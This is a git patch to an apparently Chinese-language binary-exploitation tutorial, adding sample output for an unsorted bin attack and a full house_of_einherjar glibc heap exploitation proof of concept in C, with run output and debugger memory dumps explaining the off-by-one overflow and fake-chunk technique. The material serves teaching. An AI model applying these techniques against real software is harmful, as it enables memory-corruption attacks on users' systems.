From 3c7fc5adc89fed8b0eb486ea96846b2fb334b8ed Mon Sep 17 00:00:00 2001 From: firmianay Date: Tue, 16 Jan 2018 21:15:44 +0800 Subject: [PATCH] update 3.3.5 --- doc/3.3.7_heap_exploit_3.md | 153 ++++++++++++++++++ .../3.3.5_heap_exploit/house_of_einherjar.c | 54 +++++++ 2 files changed, 207 insertions(+) create mode 100644 src/Others/3.3.5_heap_exploit/house_of_einherjar.c diff --git a/doc/3.3.7_heap_exploit_3.md b/doc/3.3.7_heap_exploit_3.md index a98c999..14f8396 100644 --- a/doc/3.3.7_heap_exploit_3.md +++ b/doc/3.3.7_heap_exploit_3.md @@ -5,6 +5,7 @@ - [unsorted_bin_attack](#unsorted_bin_attack) - [house_of_einherjar](#house_of_einherjar) - [house_of_orange](#house_of_orange) +- [参考资料](#参考资料) [下载文件](../src/Others/3.3.5_heap_exploit) @@ -144,6 +145,17 @@ int main() { fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var); } ``` +``` +$ gcc -g unsorted_bin_attack.c +$ ./a.out +The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0 + +Now, we allocate first small chunk on the heap at: 0x1066010 +We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78 +We write it with the target address-0x10: 0x7ffc9b1d61a0 + +Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78 +``` unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。 unlink 的对 unsorted bin 的操作是这样的: @@ -202,5 +214,146 @@ gef➤ x/4gx &stack_var-2 从而泄漏了 unsorted bin 的头部地址。 #### house_of_einherjar +```c +#include +#include +#include +#include +#include + +int main() { + uint8_t *a, *b, *d; + + a = (uint8_t*) malloc(0x10); + int real_a_size = malloc_usable_size(a); + memset(a, 'A', real_a_size); + fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a); + + size_t fake_chunk[6]; + fake_chunk[0] = 0x80; + fake_chunk[1] = 0x80; + fake_chunk[2] = (size_t) fake_chunk; + fake_chunk[3] = (size_t) fake_chunk; + fake_chunk[4] = (size_t) fake_chunk; + fake_chunk[5] = (size_t) fake_chunk; + fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk); + fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]); + fprintf(stderr, "size: %#lx\n", fake_chunk[1]); + fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]); + fprintf(stderr, "bck: %#lx\n", fake_chunk[3]); + fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]); + fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]); + + b = (uint8_t*) malloc(0xf8); + int real_b_size = malloc_usable_size(b); + uint64_t* b_size_ptr = (uint64_t*)(b - 0x8); + fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b); + fprintf(stderr, "b.size: %#lx\n", *b_size_ptr); + fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); + a[real_a_size] = 0; + fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr); + + size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); + *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size; + fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t)); + fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size); + + fake_chunk[1] = fake_size; + fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n"); + + fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n"); + free(b); + fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]); + + d = malloc(0x10); + memset(d, 'A', 0x10); + fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d); +} +``` +``` +$ gcc -g house_of_einherjar.c +$ ./a.out +We allocate 0x10 bytes for 'a': 0xb31010 + +Our fake chunk at 0x7ffdb337b7f0 looks like: +prev_size: 0x80 +size: 0x80 +fwd: 0x7ffdb337b7f0 +bck: 0x7ffdb337b7f0 +fwd_nextsize: 0x7ffdb337b7f0 +bck_nextsize: 0x7ffdb337b7f0 + +We allocate 0xf8 bytes for 'b': 0xb31030 +b.size: 0x101 +We overflow 'a' with a single null byte into the metadata of 'b' +b.size: 0x100 + +We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk +Our fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830 + +Modify fake chunk's size to reflect b's new prev_size +Now we free b and this will consolidate with our fake chunk +Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size) + +Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800 +``` +house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞,覆盖掉 next chunk 的 size 字段并清除 `PREV_IN_USE` 标志,然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时,它会发现前一个 chunk 被标记为空闲状态,然后尝试合并堆块。只要我们精心构造一个 fake chunk,让合并后的堆块范围到 fake chunk 处,那下一次 malloc 将返回我们想要的地址。比起前面所讲过的 poison-null-byte ,更加强大,但是要求的条件也更多一点,比如一个堆信息泄漏。 + +首先分配一个假设存在 off_by\_one 溢出的 chunk a,然后在栈上创建我们的 fake chunk,chunk 大小随意,只要是 small chunk 就可以了: +``` +gef➤ x/8gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x4141414141414141 0x4141414141414141 +0x603020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk +0x603030: 0x0000000000000000 0x0000000000000000 +gef➤ x/8gx &fake_chunk +0x7fffffffdcb0: 0x0000000000000080 0x0000000000000080 <-- fake chunk +0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0 +0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0 +0x7fffffffdce0: 0x00007fffffffddd0 0xffa7b97358729300 +``` + +接下来创建 chunk b,并利用 chunk a 的溢出将 size 字段覆盖掉,清除了 `PREV_INUSE` 标志,chunk b 就会以为前一个 chunk 是一个 free chunk 了: +``` +gef➤ x/8gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x4141414141414141 0x4141414141414141 +0x603020: 0x4141414141414141 0x0000000000000100 <-- chunk b +0x603030: 0x0000000000000000 0x0000000000000000 +``` +原本 chunk b 的 size 字段应该为 0x101,在这里我们选择 malloc(0xf8) 作为 chunk b 也是出于方便的目的,覆盖后只影响了标志位,没有影响到大小。 + +接下来根据 fake chunk 在栈上的位置修改 chunk b 的 prev_size 字段。计算方法是用 chunk b 的起始地址减去 fake chunk 的起始地址,同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev\_size 字段相匹配: +``` +gef➤ x/8gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x4141414141414141 0x4141414141414141 +0x603020: 0xffff800000605370 0x0000000000000100 <-- chunk b <-- prev_size +0x603030: 0x0000000000000000 0x0000000000000000 +gef➤ x/8gx &fake_chunk +0x7fffffffdcb0: 0x0000000000000080 0xffff800000605370 <-- fake chunk <-- size +0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0 +0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0 +0x7fffffffdce0: 0x00007fffffffddd0 0xadeb3936608e0600 +``` + +释放 chunk b,这时因为 `PREV_INUSE` 为零,unlink 会根据 prev_size 去寻找上一个 free chunk,并将它和当前 chunk 合并。从 arena 里可以看到: +``` +gef➤ heap arenas +Arena (base=0x7ffff7dd1b20, top=0x7fffffffdcb0, last_remainder=0x0, next=0x7ffff7dd1b20, next_free=0x0, system_mem=0x21000) +``` +合并的过程在 poison-null-byte 那里也讲过了。 + +最后当我们再次 malloc,其返回的地址将是 fake chunk 的地址: +``` +gef➤ x/8gx &fake_chunk +0x7fffffffdcb0: 0x0000000000000080 0x0000000000000021 <-- chunk d +0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141 +0x7fffffffdcd0: 0x00007fffffffdcb0 0xffff800000626331 +0x7fffffffdce0: 0x00007fffffffddd0 0xbdf40e22ccf46c00 +``` #### house_of_orange + + +## 参考资料 diff --git a/src/Others/3.3.5_heap_exploit/house_of_einherjar.c b/src/Others/3.3.5_heap_exploit/house_of_einherjar.c new file mode 100644 index 0000000..ac45f9b --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/house_of_einherjar.c @@ -0,0 +1,54 @@ +#include +#include +#include +#include +#include + +int main() { + uint8_t *a, *b, *d; + + a = (uint8_t*) malloc(0x10); + int real_a_size = malloc_usable_size(a); + memset(a, 'A', real_a_size); + fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a); + + size_t fake_chunk[6]; + fake_chunk[0] = 0x80; + fake_chunk[1] = 0x80; + fake_chunk[2] = (size_t) fake_chunk; + fake_chunk[3] = (size_t) fake_chunk; + fake_chunk[4] = (size_t) fake_chunk; + fake_chunk[5] = (size_t) fake_chunk; + fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk); + fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]); + fprintf(stderr, "size: %#lx\n", fake_chunk[1]); + fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]); + fprintf(stderr, "bck: %#lx\n", fake_chunk[3]); + fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]); + fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]); + + b = (uint8_t*) malloc(0xf8); + int real_b_size = malloc_usable_size(b); + uint64_t* b_size_ptr = (uint64_t*)(b - 0x8); + fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b); + fprintf(stderr, "b.size: %#lx\n", *b_size_ptr); + fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); + a[real_a_size] = 0; + fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr); + + size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); + *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size; + fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t)); + fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size); + + fake_chunk[1] = fake_size; + fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n"); + + fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n"); + free(b); + fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]); + + d = malloc(0x10); + memset(d, 'A', 0x10); + fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d); +}